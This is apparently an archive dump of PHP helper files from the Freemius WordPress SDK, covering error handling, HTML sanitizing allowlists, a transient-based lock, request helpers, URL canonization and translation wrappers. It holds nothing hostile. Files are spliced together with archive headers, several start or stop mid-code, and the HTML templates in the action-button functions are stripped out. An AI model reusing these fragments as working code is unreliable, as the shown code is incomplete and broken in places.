strpos( $message, 'cURL' ) ); } /** * @param WP_Error $pError * * @throws Freemius_Exception */ private static function ThrowWPRemoteException( WP_Error $pError ) { if ( self::IsCurlError( $pError ) ) { $message = $pError->get_error_message( 'http_request_failed' ); #region Check if there are any missing cURL methods. $curl_required_methods = array( 'curl_version', 'curl_exec', 'curl_init', 'curl_close', 'curl_setopt', 'curl_setopt_array', 'curl_error', ); // Find all missing methods. $missing_methods = array(); foreach ( $curl_required_methods as $m ) { if ( ! function_exists( $m ) ) { $missing_methods[] = $m; } } if ( ! empty( $missing_methods ) ) { throw new Freemius_Exception( array( 'error' => (object) array( 'type' => 'cUrlMissing', 'message' => $message, 'code' => 'curl_missing', 'http' => 402 ), 'missing_methods' => $missing_methods, ) ); } #endregion // cURL error - "cURL error {{errno}}: {{error}}". $parts = explode( ':', substr( $message, strlen( 'cURL error ' ) ), 2 ); $code = ( 0 < count( $parts ) ) ? $parts[0] : 'http_request_failed'; $message = ( 1 < count( $parts ) ) ? $parts[1] : $message; $e = new Freemius_Exception( array( 'error' => (object) array( 'code' => $code, 'message' => $message, 'type' => 'CurlException', ), ) ); } else { $e = new Freemius_Exception( array( 'error' => (object) array( 'code' => $pError->get_error_code(), 'message' => $pError->get_error_message(), 'type' => 'WPRemoteException', ), ) ); } throw $e; } /** * @param string $pResult * * @throws Freemius_Exception */ private static function ThrowCloudFlareDDoSException( $pResult = '' ) { throw new Freemius_Exception( array( 'error' => (object) array( 'type' => 'CloudFlareDDoSProtection', 'message' => $pResult, 'code' => 'cloudflare_ddos_protection', 'http' => 402 ) ) ); } /** * @param string $pResult * * @throws Freemius_Exception */ private static function ThrowSquidAclException( $pResult = '' ) { throw new Freemius_Exception( array( 'error' => (object) array( 'type' => 'SquidCacheBlock', 'message' => $pResult, 'code' => 'squid_cache_block', 'http' => 402 ) ) ); } #endregion } } vendor/freemius/includes/supplements/fs-essential-functions-2.2.1.php000064400000002513147600365160021630 0ustar00 $install ) { if ( true === $install->is_disconnected ) { $permission_manager->update_site_tracking( false, ( 0 == $blog_id ) ? null : $blog_id, // Update only if permissions are not yet set. true ); } } } }vendor/freemius/includes/supplements/fs-essential-functions-1.1.7.1.php000064400000002352147600365160021774 0ustar00 $data ) { if ( 0 === strpos( $file_real_path, fs_normalize_path( dirname( realpath( WP_PLUGIN_DIR . '/' . $relative_path ) ) . '/' ) ) ) { if ( '.' !== dirname( trailingslashit( $relative_path ) ) ) { return $relative_path; } } } return null; } vendor/freemius/includes/fs-html-escaping-functions.php000064400000010112147600365160017351 0ustar00 true, 'class' => true, 'style' => true, 'data-*' => true, ); return array( 'a' => array_merge( $common_attributes, array( 'href' => true, 'title' => true, 'target' => true, 'rel' => true, ) ), 'img' => array_merge( $common_attributes, array( 'src' => true, 'alt' => true, 'title' => true, 'width' => true, 'height' => true, ) ), 'br' => $common_attributes, 'em' => $common_attributes, 'small' => $common_attributes, 'strong' => $common_attributes, 'u' => $common_attributes, 'b' => $common_attributes, 'i' => $common_attributes, 'hr' => $common_attributes, 'span' => $common_attributes, 'p' => $common_attributes, 'div' => $common_attributes, 'ul' => $common_attributes, 'li' => $common_attributes, 'ol' => $common_attributes, 'h1' => $common_attributes, 'h2' => $common_attributes, 'h3' => $common_attributes, 'h4' => $common_attributes, 'h5' => $common_attributes, 'h6' => $common_attributes, 'button' => $common_attributes, 'sup' => $common_attributes, 'sub' => $common_attributes, 'nobr' => $common_attributes, ); } } if ( ! function_exists( 'fs_html_get_classname' ) ) { /** * Gets an HTML class attribute value. * * @param string|string[] $classes * * @return string */ function fs_html_get_classname( $classes ) { if ( is_array( $classes ) ) { $classes = implode( ' ', $classes ); } return esc_attr( $classes ); } } if ( ! function_exists( 'fs_html_get_attributes' ) ) { /** * Gets a properly escaped HTML attributes string from an associative array. * * @param array $attributes A key/value pair array of attributes. * * @return string */ function fs_html_get_attributes( $attributes ) { $attribute_string = ''; foreach ( $attributes as $key => $value ) { $attribute_string .= sprintf( ' %1$s="%2$s"', esc_attr( $key ), esc_attr( $value ) ); } return $attribute_string; } } if ( ! function_exists( 'fs_html_get_sanitized_html' ) ) { /** * Get sanitized HTML for template files. * * @param string $raw_html * * @return string * @since 2.5.10 */ function fs_html_get_sanitized_html( $raw_html ) { return wp_kses( $raw_html, fs_html_get_allowed_kses_list() ); } } vendor/freemius/includes/class-fs-lock.php000064400000005451147600365160014655 0ustar00_lock_id = $lock_id; if ( ! isset( self::$_thread_id ) ) { self::$_thread_id = mt_rand( 0, 32000 ); } } /** * Try to acquire lock. If the lock is already set or is being acquired by another locker, don't do anything. * * @param int $expiration * * @return bool TRUE if successfully acquired lock. */ function try_lock( $expiration = 0 ) { if ( $this->is_locked() ) { // Already locked. return false; } set_site_transient( $this->_lock_id, self::$_thread_id, $expiration ); if ( $this->has_lock() ) { $this->lock($expiration); return true; } return false; } /** * Acquire lock regardless if it's already acquired by another locker or not. * * @author Vova Feldman (@svovaf) * @since 2.1.0 * * @param int $expiration */ function lock( $expiration = 0 ) { set_site_transient( $this->_lock_id, true, $expiration ); } /** * Checks if lock is currently acquired. * * @author Vova Feldman (@svovaf) * @since 2.1.0 * * @return bool */ function is_locked() { return ( false !== get_site_transient( $this->_lock_id ) ); } /** * Unlock the lock. * * @author Vova Feldman (@svovaf) * @since 2.1.0 */ function unlock() { delete_site_transient( $this->_lock_id ); } /** * Checks if lock is currently acquired by the current locker. * * @return bool */ protected function has_lock() { return ( self::$_thread_id == get_site_transient( $this->_lock_id ) ); } }vendor/freemius/includes/index.php000064400000000127147600365160013316 0ustar00id . $entity->secret_key . $entity->public_key . $action ); } /** * @param \FS_Scope_Entity $entity * @param int|bool $timestamp * @param string $action * * @return array */ function get_context_params( FS_Scope_Entity $entity, $timestamp = false, $action = '' ) { if ( false === $timestamp ) { $timestamp = time(); } return array( 's_ctx_type' => $entity->get_type(), 's_ctx_id' => $entity->id, 's_ctx_ts' => $timestamp, 's_ctx_secure' => $this->get_secure_token( $entity, $timestamp, $action ), ); } } vendor/freemius/includes/fs-core-functions.php000064400000151064147600365160015562 0ustar00 $value ) { $input[ $key ] = fs_sanitize_input( $value ); } } else { // Allow empty values to pass through as-is, like `null`, `''`, `0`, `'0'` etc. $input = empty( $input ) ? $input : sanitize_text_field( $input ); } return $input; } } if ( ! function_exists( 'fs_request_get' ) ) { /** * A helper method to fetch GET/POST user input with an optional default value when the input is not set. * * @author Vova Feldman (@svovaf) * * @note The return value is always sanitized with sanitize_text_field(). * * @param string $key * @param mixed $def * @param string|bool $type Since 1.2.1.7 - when set to 'get' will look for the value passed via querystring, when * set to 'post' will look for the value passed via the POST request's body, otherwise, * will check if the parameter was passed in any of the two. * * * @return mixed */ function fs_request_get( $key, $def = false, $type = false ) { return fs_sanitize_input( fs_request_get_raw( $key, $def, $type ) ); } } if ( ! function_exists( 'fs_request_has' ) ) { function fs_request_has( $key ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended return isset( $_REQUEST[ $key ] ); } } if ( ! function_exists( 'fs_request_get_bool' ) ) { /** * A helper method to fetch GET/POST user boolean input with an optional default value when the input is not set. * * @author Vova Feldman (@svovaf) * * @param string $key * @param bool $def * * @return bool|mixed */ function fs_request_get_bool( $key, $def = false ) { $val = fs_request_get( $key, null ); if ( is_null( $val ) ) { return $def; } if ( is_bool( $val ) ) { return $val; } else if ( is_numeric( $val ) ) { if ( 1 == $val ) { return true; } else if ( 0 == $val ) { return false; } } else if ( is_string( $val ) ) { $val = strtolower( $val ); if ( 'true' === $val ) { return true; } else if ( 'false' === $val ) { return false; } } return $def; } } if ( ! function_exists( 'fs_request_is_post' ) ) { function fs_request_is_post() { return ( 'post' === strtolower( $_SERVER['REQUEST_METHOD'] ) ); } } if ( ! function_exists( 'fs_request_is_get' ) ) { function fs_request_is_get() { return ( 'get' === strtolower( $_SERVER['REQUEST_METHOD'] ) ); } } if ( ! function_exists( 'fs_get_action' ) ) { function fs_get_action( $action_key = 'action' ) { // phpcs:disable WordPress.Security.NonceVerification.Recommended if ( ! empty( $_REQUEST[ $action_key ] ) && is_string( $_REQUEST[ $action_key ] ) ) { return strtolower( $_REQUEST[ $action_key ] ); } if ( 'action' == $action_key ) { $action_key = 'fs_action'; if ( ! empty( $_REQUEST[ $action_key ] ) && is_string( $_REQUEST[ $action_key ] ) ) { return strtolower( $_REQUEST[ $action_key ] ); } } return false; // phpcs:enable WordPress.Security.NonceVerification.Recommended } } if ( ! function_exists( 'fs_request_is_action' ) ) { function fs_request_is_action( $action, $action_key = 'action' ) { return ( strtolower( $action ) === fs_get_action( $action_key ) ); } } if ( ! function_exists( 'fs_request_is_action_secure' ) ) { /** * @author Vova Feldman (@svovaf) * @since 1.0.0 * * @since 1.2.1.5 Allow nonce verification. * * @param string $action * @param string $action_key * @param string $nonce_key * * @return bool */ function fs_request_is_action_secure( $action, $action_key = 'action', $nonce_key = 'nonce' ) { if ( strtolower( $action ) !== fs_get_action( $action_key ) ) { return false; } $nonce = ! empty( $_REQUEST[ $nonce_key ] ) ? $_REQUEST[ $nonce_key ] : ''; if ( empty( $nonce ) || ( false === wp_verify_nonce( $nonce, $action ) ) ) { return false; } return true; } } #endregion if ( ! function_exists( 'fs_is_plugin_page' ) ) { function fs_is_plugin_page( $page_slug ) { return ( is_admin() && $page_slug === fs_request_get( 'page' ) ); } } if ( ! function_exists( 'fs_get_raw_referer' ) ) { /** * Retrieves unvalidated referer from '_wp_http_referer' or HTTP referer. * * Do not use for redirects, use {@see wp_get_referer()} instead. * * @since 1.2.3 * * @return string|false Referer URL on success, false on failure. */ function fs_get_raw_referer() { if ( function_exists( 'wp_get_raw_referer' ) ) { return wp_get_raw_referer(); } if ( ! empty( $_REQUEST['_wp_http_referer'] ) ) { return wp_unslash( $_REQUEST['_wp_http_referer'] ); } else if ( ! empty( $_SERVER['HTTP_REFERER'] ) ) { return wp_unslash( $_SERVER['HTTP_REFERER'] ); } return false; } } /* Core UI. --------------------------------------------------------------------------------------------*/ if ( ! function_exists( 'fs_ui_action_button' ) ) { /** * @param number $module_id * @param string $page * @param string $action * @param string $title * @param string $button_class * @param array $params * @param bool $is_primary * @param bool $is_small * @param string|bool $icon_class Optional class for an icon (since 1.1.7). * @param string|bool $confirmation Optional confirmation message before submit (since 1.1.7). * @param string $method Since 1.1.7 * * @uses fs_ui_get_action_button() */ function fs_ui_action_button( $module_id, $page, $action, $title, $button_class = '', $params = array(), $is_primary = true, $is_small = false, $icon_class = false, $confirmation = false, $method = 'GET' ) { echo fs_ui_get_action_button( $module_id, $page, $action, $title, $button_class, $params, $is_primary, $is_small, $icon_class, $confirmation, $method ); } } if ( ! function_exists( 'fs_ui_get_action_button' ) ) { /** * @author Vova Feldman (@svovaf) * @since 1.1.7 * * @param number $module_id * @param string $page * @param string $action * @param string $title * @param string $button_class * @param array $params * @param bool $is_primary * @param bool $is_small * @param string|bool $icon_class Optional class for an icon. * @param string|bool $confirmation Optional confirmation message before submit. * @param string $method * * @return string */ function fs_ui_get_action_button( $module_id, $page, $action, $title, $button_class = '', $params = array(), $is_primary = true, $is_small = false, $icon_class = false, $confirmation = false, $method = 'GET' ) { // Prepend icon (if set). $title = ( is_string( $icon_class ) ? ' ' : '' ) . $title; if ( is_string( $confirmation ) ) { return sprintf( '
                  %s%s
                  ', freemius( $module_id )->_get_admin_page_url( $page, $params ), $method, $action, wp_nonce_field( $action, '_wpnonce', true, false ), 'button' . ( ! empty( $button_class ) ? ' ' . $button_class : '' ) . ( $is_primary ? ' button-primary' : '' ) . ( $is_small ? ' button-small' : '' ), $confirmation, $title ); } else if ( 'GET' !== strtoupper( $method ) ) { return sprintf( '
                  %s%s
                  ', freemius( $module_id )->_get_admin_page_url( $page, $params ), $method, $action, wp_nonce_field( $action, '_wpnonce', true, false ), 'button' . ( ! empty( $button_class ) ? ' ' . $button_class : '' ) . ( $is_primary ? ' button-primary' : '' ) . ( $is_small ? ' button-small' : '' ), $title ); } else { return sprintf( '%s', wp_nonce_url( freemius( $module_id )->_get_admin_page_url( $page, array_merge( $params, array( 'fs_action' => $action ) ) ), $action ), 'button' . ( ! empty( $button_class ) ? ' ' . $button_class : '' ) . ( $is_primary ? ' button-primary' : '' ) . ( $is_small ? ' button-small' : '' ), $title ); } } function fs_ui_action_link( $module_id, $page, $action, $title, $params = array() ) { ?> $entities_or_entity ) { if ( is_array( $entities_or_entity ) ) { $entities[ $key ] = fs_get_entities( $entities_or_entity, $class_name ); } else { $entities[ $key ] = fs_get_entity( $entities_or_entity, $class_name ); } } return $entities; } } if ( ! function_exists( 'fs_nonce_url' ) ) { /** * Retrieve URL with nonce added to URL query. * * Originally was using `wp_nonce_url()` but the new version * changed the return value to escaped URL, that's not the expected * behaviour. * * @author Vova Feldman (@svovaf) * @since ~1.1.3 * * @param string $actionurl URL to add nonce action. * @param int|string $action Optional. Nonce action name. Default -1. * @param string $name Optional. Nonce name. Default '_wpnonce'. * * @return string Escaped URL with nonce action added. */ function fs_nonce_url( $actionurl, $action = - 1, $name = '_wpnonce' ) { return add_query_arg( $name, wp_create_nonce( $action ), $actionurl ); } } if ( ! function_exists( 'fs_parse_url_params' ) ) { /** * Returns the query parameters of the given URL if there are any. * * @param string $url * @param bool $html_entity_decode * * @return array Key value pair where key represents the parameter name and value represents the parameter value. */ function fs_parse_url_params( $url, $html_entity_decode = false ) { $query_str = parse_url( $url, PHP_URL_QUERY ); $url_params = array(); if ( empty( $query_str ) ) { return $url_params; } if ( $html_entity_decode ) { $query_str = html_entity_decode( $query_str ); } parse_str( $query_str, $url_params ); return $url_params; } } if ( ! function_exists( 'fs_starts_with' ) ) { /** * Check if string starts with. * * @author Vova Feldman (@svovaf) * @since 1.1.3 * * @param string $haystack * @param string $needle * * @return bool */ function fs_starts_with( $haystack, $needle ) { $length = strlen( $needle ); return ( substr( $haystack, 0, $length ) === $needle ); } } if ( ! function_exists( 'fs_ends_with' ) ) { /** * Check if string ends with. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $haystack * @param string $needle * * @return bool */ function fs_ends_with( $haystack, $needle ) { $length = strlen( $needle ); $start = $length * - 1; // negative return ( substr( $haystack, $start ) === $needle ); } } if ( ! function_exists( 'fs_strip_url_protocol' ) ) { function fs_strip_url_protocol( $url ) { if ( ! fs_starts_with( $url, 'http' ) ) { return $url; } $protocol_pos = strpos( $url, '://' ); if ( $protocol_pos > 5 ) { return $url; } return substr( $url, $protocol_pos + 3 ); } } #region Url Canonization ------------------------------------------------------------------ if ( ! function_exists( 'fs_canonize_url' ) ) { /** * @author Vova Feldman (@svovaf) * @since 1.1.3 * * @param string $url * @param bool $omit_host * @param array $ignore_params * * @return string */ function fs_canonize_url( $url, $omit_host = false, $ignore_params = array() ) { $parsed_url = parse_url( strtolower( $url ) ); // if ( ! isset( $parsed_url['host'] ) ) { // return $url; // } $canonical = ( ( $omit_host || ! isset( $parsed_url['host'] ) ) ? '' : $parsed_url['host'] ) . $parsed_url['path']; if ( isset( $parsed_url['query'] ) ) { parse_str( $parsed_url['query'], $queryString ); $canonical .= '?' . fs_canonize_query_string( $queryString, $ignore_params ); } return $canonical; } } if ( ! function_exists( 'fs_canonize_query_string' ) ) { /** * @author Vova Feldman (@svovaf) * @since 1.1.3 * * @param array $params * @param array $ignore_params * @param bool $params_prefix * * @return string */ function fs_canonize_query_string( array $params, array &$ignore_params, $params_prefix = false ) { if ( ! is_array( $params ) || 0 === count( $params ) ) { return ''; } // Url encode both keys and values $keys = fs_urlencode_rfc3986( array_keys( $params ) ); $values = fs_urlencode_rfc3986( array_values( $params ) ); $params = array_combine( $keys, $values ); // Parameters are sorted by name, using lexicographical byte value ordering. // Ref: Spec: 9.1.1 (1) uksort( $params, 'strcmp' ); $pairs = array(); foreach ( $params as $parameter => $value ) { $lower_param = strtolower( $parameter ); // Skip ignore params. if ( in_array( $lower_param, $ignore_params ) || ( false !== $params_prefix && fs_starts_with( $lower_param, $params_prefix ) ) ) { continue; } if ( is_array( $value ) ) { // If two or more parameters share the same name, they are sorted by their value // Ref: Spec: 9.1.1 (1) natsort( $value ); foreach ( $value as $duplicate_value ) { $pairs[] = $lower_param . '=' . $duplicate_value; } } else { $pairs[] = $lower_param . '=' . $value; } } if ( 0 === count( $pairs ) ) { return ''; } return implode( "&", $pairs ); } } if ( ! function_exists( 'fs_urlencode_rfc3986' ) ) { /** * @author Vova Feldman (@svovaf) * @since 1.1.3 * * @param string|string[] $input * * @return array|mixed|string */ function fs_urlencode_rfc3986( $input ) { if ( is_array( $input ) ) { return array_map( 'fs_urlencode_rfc3986', $input ); } else if ( is_scalar( $input ) ) { return str_replace( '+', ' ', str_replace( '%7E', '~', rawurlencode( $input ) ) ); } return ''; } } #endregion Url Canonization ------------------------------------------------------------------ if ( ! function_exists( 'fs_download_image' ) ) { /** * @author Vova Feldman (@svovaf) * * @since 1.2.2 Changed to usage of WP_Filesystem_Direct. * * @param string $from URL * @param string $to File path. * * @return bool Is successfully downloaded. */ function fs_download_image( $from, $to ) { $dir = dirname( $to ); if ( 'direct' !== get_filesystem_method( array(), $dir ) ) { return false; } if ( ! class_exists( 'WP_Filesystem_Direct' ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-filesystem-base.php'; require_once ABSPATH . 'wp-admin/includes/class-wp-filesystem-direct.php'; } $fs = new WP_Filesystem_Direct( '' ); $tmpfile = download_url( $from ); if ( $tmpfile instanceof WP_Error ) { // Issue downloading the file. return false; } $fs->copy( $tmpfile, $to ); $fs->delete( $tmpfile ); return true; } } /* General Utilities --------------------------------------------------------------------------------------------*/ if ( ! function_exists( 'fs_sort_by_priority' ) ) { /** * Sorts an array by the value of the priority key. * * @author Daniel Iser (@danieliser) * @since 1.1.7 * * @param $a * @param $b * * @return int */ function fs_sort_by_priority( $a, $b ) { // If b has a priority and a does not, b wins. if ( ! isset( $a['priority'] ) && isset( $b['priority'] ) ) { return 1; } // If b has a priority and a does not, b wins. elseif ( isset( $a['priority'] ) && ! isset( $b['priority'] ) ) { return - 1; } // If neither has a priority or both priorities are equal it's a tie. elseif ( ( ! isset( $a['priority'] ) && ! isset( $b['priority'] ) ) || $a['priority'] === $b['priority'] ) { return 0; } // If both have priority return the winner. return ( $a['priority'] < $b['priority'] ) ? - 1 : 1; } } #-------------------------------------------------------------------------------- #region Localization #-------------------------------------------------------------------------------- global $fs_text_overrides; if ( ! isset( $fs_text_overrides ) ) { $fs_text_overrides = array(); } if ( ! function_exists( 'fs_text' ) ) { /** * Retrieve a translated text by key. * * @author Vova Feldman (@svovaf) * @since 1.2.1.7 * * @param string $key * @param string $slug * * @return string * * @global $fs_text_overrides */ function fs_text( $key, $slug = 'freemius' ) { global $fs_text_overrides; if ( isset( $fs_text_overrides[ $slug ] ) ) { if ( isset( $fs_text_overrides[ $slug ][ $key ] ) ) { return $fs_text_overrides[ $slug ][ $key ]; } $lower_key = strtolower( $key ); if ( isset( $fs_text_overrides[ $slug ][ $lower_key ] ) ) { return $fs_text_overrides[ $slug ][ $lower_key ]; } } return $key; } #region Private /** * Retrieve an inline translated text by key with a context. * * @author Vova Feldman (@svovaf) * @since 1.2.3 * * @param string $text Translatable string. * @param string $context Context information for the translators. * @param string $key String key for overrides. * @param string $slug Module slug for overrides. * * @return string * * @global $fs_text_overrides */ function _fs_text_x_inline( $text, $context, $key = '', $slug = 'freemius' ) { list( $text, $text_domain ) = fs_text_and_domain( $text, $key, $slug ); // Avoid misleading Theme Check warning. $fn = 'translate_with_gettext_context'; return $fn( $text, $context, $text_domain ); } #endregion /** * Retrieve an inline translated text by key with a context. * * @author Vova Feldman (@svovaf) * @since 1.2.3 * * @param string $text Translatable string. * @param string $context Context information for the translators. * @param string $key String key for overrides. * @param string $slug Module slug for overrides. * * @return string * * @global $fs_text_overrides */ function fs_text_x_inline( $text, $context, $key = '', $slug = 'freemius' ) { return _fs_text_x_inline( $text, $context, $key, $slug ); } /** * Output a translated text by key. * * @author Vova Feldman (@svovaf) * @since 1.2.1.7 * * @param string $key * @param string $slug */ function fs_echo( $key, $slug = 'freemius' ) { echo fs_text( $key, $slug ); } /** * Output an inline translated text. * * @author Vova Feldman (@svovaf) * @since 1.2.3 * * @param string $text Translatable string. * @param string $key String key for overrides. * @param string $slug Module slug for overrides. */ function fs_echo_inline( $text, $key = '', $slug = 'freemius' ) { echo _fs_text_inline( $text, $key, $slug ); } /** * Output an inline translated text with a context. * * @author Vova Feldman (@svovaf) * @since 1.2.3 * * @param string $text Translatable string. * @param string $context Context information for the translators. * @param string $key String key for overrides. * @param string $slug Module slug for overrides. */ function fs_echo_x_inline( $text, $context, $key = '', $slug = 'freemius' ) { echo _fs_text_x_inline( $text, $context, $key, $slug ); } } if ( ! function_exists( 'fs_text_override' ) ) { /** * Get a translatable text override if exists, or `false`. * * @author Vova Feldman (@svovaf) * @since 1.2.1.7 * * @param string $text Translatable string. * @param string $key String key for overrides. * @param string $slug Module slug for overrides. * * @return string|false */ function fs_text_override( $text, $key, $slug ) { global $fs_text_overrides; /** * Check if string is overridden. */ if ( ! isset( $fs_text_overrides[ $slug ] ) ) { return false; } if ( empty( $key ) ) { $key = strtolower( str_replace( ' ', '-', $text ) ); } if ( isset( $fs_text_overrides[ $slug ][ $key ] ) ) { return $fs_text_overrides[ $slug ][ $key ]; } $lower_key = strtolower( $key ); if ( isset( $fs_text_overrides[ $slug ][ $lower_key ] ) ) { return $fs_text_overrides[ $slug ][ $lower_key ]; } return false; } } if ( ! function_exists( 'fs_text_and_domain' ) ) { /** * Get a translatable text and its text domain. * * When the text is overridden by the module, returns the overridden text and the text domain of the module. Otherwise, returns the original text and 'freemius' as the text domain. * * @author Vova Feldman (@svovaf) * @since 1.2.1.7 * * @param string $text Translatable string. * @param string $key String key for overrides. * @param string $slug Module slug for overrides. * * @return string[] */ function fs_text_and_domain( $text, $key, $slug ) { $override = fs_text_override( $text, $key, $slug ); if ( false === $override ) { // No override, use FS text domain. $text_domain = 'freemius'; } else { // Found an override. $text = $override; // Use the module's text domain. $text_domain = $slug; } return array( $text, $text_domain ); } } if ( ! function_exists( '_fs_text_inline' ) ) { /** * Retrieve an inline translated text by key. * * @author Vova Feldman (@svovaf) * @since 1.2.3 * * @param string $text Translatable string. * @param string $key String key for overrides. * @param string $slug Module slug for overrides. * * @return string * * @global $fs_text_overrides */ function _fs_text_inline( $text, $key = '', $slug = 'freemius' ) { list( $text, $text_domain ) = fs_text_and_domain( $text, $key, $slug ); // Avoid misleading Theme Check warning. $fn = 'translate'; return $fn( $text, $text_domain ); } } if ( ! function_exists( 'fs_text_inline' ) ) { /** * Retrieve an inline translated text by key. * * @author Vova Feldman (@svovaf) * @since 1.2.3 * * @param string $text Translatable string. * @param string $key String key for overrides. * @param string $slug Module slug for overrides. * * @return string * * @global $fs_text_overrides */ function fs_text_inline( $text, $key = '', $slug = 'freemius' ) { return _fs_text_inline( $text, $key, $slug ); } } if ( ! function_exists( 'fs_esc_attr' ) ) { /** * @author Vova Feldman * @since 1.2.1.6 * * @param string $key * @param string $slug * * @return string */ function fs_esc_attr( $key, $slug ) { return esc_attr( fs_text( $key, $slug ) ); } } if ( ! function_exists( 'fs_esc_attr_inline' ) ) { /** * @author Vova Feldman (@svovaf) * @since 1.2.3 * * @param string $text Translatable string. * @param string $key String key for overrides. * @param string $slug Module slug for overrides. * * @return string */ function fs_esc_attr_inline( $text, $key = '', $slug = 'freemius' ) { return esc_attr( _fs_text_inline( $text, $key, $slug ) ); } } if ( ! function_exists( 'fs_esc_attr_x_inline' ) ) { /** * @author Vova Feldman (@svovaf) * @since 1.2.3 * * @param string $text Translatable string. * @param string $context Context information for the translators. * @param string $key String key for overrides. * @param string $slug Module slug for overrides. * * @return string */ function fs_esc_attr_x_inline( $text, $context, $key = '', $slug = 'freemius' ) { return esc_attr( _fs_text_x_inline( $text, $context, $key, $slug ) ); } } if ( ! function_exists( 'fs_esc_attr_echo' ) ) { /** * @author Vova Feldman * @since 1.2.1.6 * * @param string $key * @param string $slug */ function fs_esc_attr_echo( $key, $slug ) { echo esc_attr( fs_text( $key, $slug ) ); } } if ( ! function_exists( 'fs_esc_attr_echo_inline' ) ) { /** * @author Vova Feldman (@svovaf) * @since 1.2.3 * * @param string $text Translatable string. * @param string $key String key for overrides. * @param string $slug Module slug for overrides. */ function fs_esc_attr_echo_inline( $text, $key = '', $slug = 'freemius' ) { echo esc_attr( _fs_text_inline( $text, $key, $slug ) ); } } if ( ! function_exists( 'fs_esc_js' ) ) { /** * @author Vova Feldman * @since 1.2.1.6 * * @param string $key * @param string $slug * * @return string */ function fs_esc_js( $key, $slug ) { return esc_js( fs_text( $key, $slug ) ); } } if ( ! function_exists( 'fs_esc_js_inline' ) ) { /** * @author Vova Feldman (@svovaf) * @since 1.2.3 * * @param string $text Translatable string. * @param string $key String key for overrides. * @param string $slug Module slug for overrides. * * @return string */ function fs_esc_js_inline( $text, $key = '', $slug = 'freemius' ) { return esc_js( _fs_text_inline( $text, $key, $slug ) ); } } if ( ! function_exists( 'fs_esc_js_x_inline' ) ) { /** * @author Vova Feldman (@svovaf) * @since 1.2.3 * * @param string $text Translatable string. * @param string $context Context information for the translators. * @param string $key String key for overrides. * @param string $slug Module slug for overrides. * * @return string */ function fs_esc_js_x_inline( $text, $context, $key = '', $slug = 'freemius' ) { return esc_js( _fs_text_x_inline( $text, $context, $key, $slug ) ); } } if ( ! function_exists( 'fs_esc_js_echo_x_inline' ) ) { /** * @author Vova Feldman (@svovaf) * @since 1.2.3 * * @param string $text Translatable string. * @param string $context Context information for the translators. * @param string $key String key for overrides. * @param string $slug Module slug for overrides. * * @return void */ function fs_esc_js_echo_x_inline( $text, $context, $key = '', $slug = 'freemius' ) { echo esc_js( _fs_text_x_inline( $text, $context, $key, $slug ) ); } } if ( ! function_exists( 'fs_esc_js_echo' ) ) { /** * @author Vova Feldman * @since 1.2.1.6 * * @param string $key * @param string $slug */ function fs_esc_js_echo( $key, $slug ) { echo esc_js( fs_text( $key, $slug ) ); } } if ( ! function_exists( 'fs_esc_js_echo_inline' ) ) { /** * @author Vova Feldman (@svovaf) * @since 1.2.3 * * @param string $text Translatable string. * @param string $key String key for overrides. * @param string $slug Module slug for overrides. */ function fs_esc_js_echo_inline( $text, $key = '', $slug = 'freemius' ) { echo esc_js( _fs_text_inline( $text, $key, $slug ) ); } } if ( ! function_exists( 'fs_json_encode_echo' ) ) { /** * @author Vova Feldman * @since 1.2.1.6 * * @param string $key * @param string $slug */ function fs_json_encode_echo( $key, $slug ) { echo json_encode( fs_text( $key, $slug ) ); } } if ( ! function_exists( 'fs_json_encode_echo_inline' ) ) { /** * @author Vova Feldman (@svovaf) * @since 1.2.3 * * @param string $text Translatable string. * @param string $key String key for overrides. * @param string $slug Module slug for overrides. */ function fs_json_encode_echo_inline( $text, $key = '', $slug = 'freemius' ) { echo json_encode( _fs_text_inline( $text, $key, $slug ) ); } } if ( ! function_exists( 'fs_esc_html' ) ) { /** * @author Vova Feldman * @since 1.2.1.6 * * @param string $key * @param string $slug * * @return string */ function fs_esc_html( $key, $slug ) { return esc_html( fs_text( $key, $slug ) ); } } if ( ! function_exists( 'fs_esc_html_inline' ) ) { /** * @author Vova Feldman (@svovaf) * @since 1.2.3 * * @param string $text Translatable string. * @param string $key String key for overrides. * @param string $slug Module slug for overrides. * * @return string */ function fs_esc_html_inline( $text, $key = '', $slug = 'freemius' ) { return esc_html( _fs_text_inline( $text, $key, $slug ) ); } } if ( ! function_exists( 'fs_esc_html_x_inline' ) ) { /** * @author Vova Feldman (@svovaf) * @since 1.2.3 * * @param string $text Translatable string. * @param string $context Context information for the translators. * @param string $key String key for overrides. * @param string $slug Module slug for overrides. * * @return string */ function fs_esc_html_x_inline( $text, $context, $key = '', $slug = 'freemius' ) { return esc_html( _fs_text_x_inline( $text, $context, $key, $slug ) ); } } if ( ! function_exists( 'fs_esc_html_echo_x_inline' ) ) { /** * @author Vova Feldman (@svovaf) * @since 1.2.3 * * @param string $text Translatable string. * @param string $context Context information for the translators. * @param string $key String key for overrides. * @param string $slug Module slug for overrides. */ function fs_esc_html_echo_x_inline( $text, $context, $key = '', $slug = 'freemius' ) { echo esc_html( _fs_text_x_inline( $text, $context, $key, $slug ) ); } } if ( ! function_exists( 'fs_esc_html_echo' ) ) { /** * @author Vova Feldman * @since 1.2.1.6 * * @param string $key * @param string $slug */ function fs_esc_html_echo( $key, $slug ) { echo esc_html( fs_text( $key, $slug ) ); } } if ( ! function_exists( 'fs_esc_html_echo_inline' ) ) { /** * @author Vova Feldman (@svovaf) * @since 1.2.3 * * @param string $text Translatable string. * @param string $key String key for overrides. * @param string $slug Module slug for overrides. */ function fs_esc_html_echo_inline( $text, $key = '', $slug = 'freemius' ) { echo esc_html( _fs_text_inline( $text, $key, $slug ) ); } } if ( ! function_exists( 'fs_override_i18n' ) ) { /** * Override default i18n text phrases. * * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @param array[string]string $key_value * @param string $slug * * @global $fs_text_overrides */ function fs_override_i18n( array $key_value, $slug = 'freemius' ) { global $fs_text_overrides; if ( ! isset( $fs_text_overrides[ $slug ] ) ) { $fs_text_overrides[ $slug ] = array(); } foreach ( $key_value as $key => $value ) { $fs_text_overrides[ $slug ][ $key ] = $value; } } } #endregion #-------------------------------------------------------------------------------- #region Multisite Network #-------------------------------------------------------------------------------- if ( ! function_exists( 'fs_is_plugin_uninstall' ) ) { /** * @author Vova Feldman (@svovaf) * @since 2.0.0 */ function fs_is_plugin_uninstall() { return ( defined( 'WP_UNINSTALL_PLUGIN' ) || ( 0 < did_action( 'pre_uninstall_plugin' ) ) ); } } if ( ! function_exists( 'fs_is_network_admin' ) ) { /** * Unlike is_network_admin(), this one will also work 